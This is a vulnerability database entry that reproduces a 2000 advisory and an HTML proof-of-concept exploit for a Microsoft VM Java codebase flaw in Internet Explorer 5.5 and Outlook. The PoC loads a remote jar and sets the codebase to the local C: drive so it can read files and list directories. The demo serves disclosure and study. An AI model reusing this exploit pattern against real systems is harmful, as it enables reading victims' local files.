Microsoft Virtual Machine Arbitrary Java Codebase Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft VM Arbitrary Execution Vulnerability via Java Apple


                                                source: http://www.securityfocus.com/bid/1812/info

An attacker may gain read access on remote systems by specifying a custom codebase in a Java applet, and delivering to the victim(s) via HTML email or a website. Any arbitrary codebase can be referenced by a java applet that was loaded by an &#60;OBJECT&#62; tag in conjunction with a jar file when using Microsoft Internet Explorer or Outlook/Outlook Express. This allows for the possibility of any known file to be read by a remote attacker.

&#60;HTML&#62;
&#60;HEAD&#62;
&#60;TITLE&#62;
Demo - IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs
&#60;/TITLE&#62;
&#60;/HEAD&#62;
&#60;BODY&#62;
Demo - IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs
&#60;BR&#62;
This page reads C:\TEST.TXT and displays the directory listing of C:\
&#60;BR&#62;
&#60;A HREF=&#34;javacodebase1-desc.html&#34;&#62;Advisory&#60;/A&#62;
&#60;BR&#62;

&#60;OBJECT CLASSID=&#34;JAVA:gjavacodebase.class&#34; WIDTH=590&#62;
&#60;PARAM NAME=&#34;ARCHIVE&#34; VALUE=&#34;http://www.guninski.com/gjavacodebase.jar&#34;&#62;
&#60;PARAM NAME=&#34;CODEBASE&#34; VALUE=&#34;file:///c:/&#34;&#62;
&#60;PARAM NAME=&#34;URL&#34; VALUE=&#34;file:///c:/test.txt&#34;&#62;
&#60;/OBJECT&#62;


&#60;center&#62;(C) Copyright 2000 Georgi Guninski&#60;/center&#62;
&#60;BR&#62;
&#60;center&#62;
| &#60;a href=&#34;http://www.guninski.com&#34;&#62;Home&#60;/a&#62; | 
&#60;a href=&#34;browsers.html&#34;&#62;Internet Explorer&#60;/a&#62; | 
&#60;a href=&#34;win2k.html&#34;&#62;Windows 2000&#60;/a&#62; | 
&#60;a href=&#34;exploit.html&#34;&#62;AIX&#60;/a&#62; | 
&#60;a href=&#34;netscape.html&#34;&#62;Netscape&#60;/a&#62; | 
&#60;a href=&#34;greets.html&#34;&#62;Greets&#60;/a&#62; | 
&#60;a href=&#34;index.html&#34;&#62;More...&#60;/a&#62; | 
&#60;/center&#62;
&#60;/BODY&#62;
&#60;/HTML&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1